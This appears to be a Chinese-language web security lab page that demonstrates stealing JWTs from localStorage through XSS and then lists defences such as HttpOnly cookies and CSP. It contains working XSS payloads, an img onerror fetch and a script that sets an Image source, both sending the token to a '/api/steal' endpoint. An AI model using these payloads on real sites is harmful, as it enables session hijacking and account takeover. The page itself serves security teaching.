🔑 实验三:XSS 窃取凭证

Token Stealing via XSS

📖 原理说明

这是 XSS 最危险的利用方式之一:

  1. 用户登录后,Token 存储在 localStorage
  2. 攻击者通过 XSS 注入恶意脚本
  3. 脚本读取 localStorage 中的 Token
  4. 将 Token 发送到攻击者服务器
  5. 攻击者获得用户身份!
⚠️ 核心问题

localStorage 对 JavaScript 完全可见,XSS + JWT = 灾难!

👤 模拟用户登录

点击按钮模拟用户登录,Token 会存储到 localStorage:

当前 Token:

未登录

⚔️ 攻击演示

攻击者会在评论中注入以下代码:

<img src=x onerror="
  fetch('/api/steal?token=' + localStorage.getItem('token'))
">

或者更隐蔽的方式:

<script>
  new Image().src = '/api/steal?token=' + localStorage.getItem('token')
</script>
💡 去评论页注入攻击代码:

复制以下代码到 评论系统 发表:

<img src=x onerror="fetch('/api/steal?token='+localStorage.getItem('token'))">

📋 攻击者服务器日志

以下是"攻击者服务器"收到的被窃取 Token:

加载中...

🛡️ 防御方案

1. HttpOnly Cookie

将 Token 存储在 HttpOnly Cookie 中,JavaScript 无法读取:

// 服务端设置
res.cookie('token', jwt, {
  httpOnly: true,  // JS 无法读取
  secure: true,    // 仅 HTTPS
  sameSite: 'strict'
})

2. CSP 策略

限制脚本来源和外部请求:

Content-Security-Policy: 
  script-src 'self';
  connect-src 'self';

3. Token 绑定

将 Token 与用户 IP、User-Agent 绑定,异常时失效

4. 短期 Token + Refresh Token

Access Token 有效期短(如 15 分钟),降低泄露风险

💡 安全建议

  • 敏感数据不要存 localStorage
  • 使用 HttpOnly Cookie 存储认证信息
  • 实施严格的 CSP 策略
  • 对所有用户输入进行转义
  • 定期审计代码中的 XSS 漏洞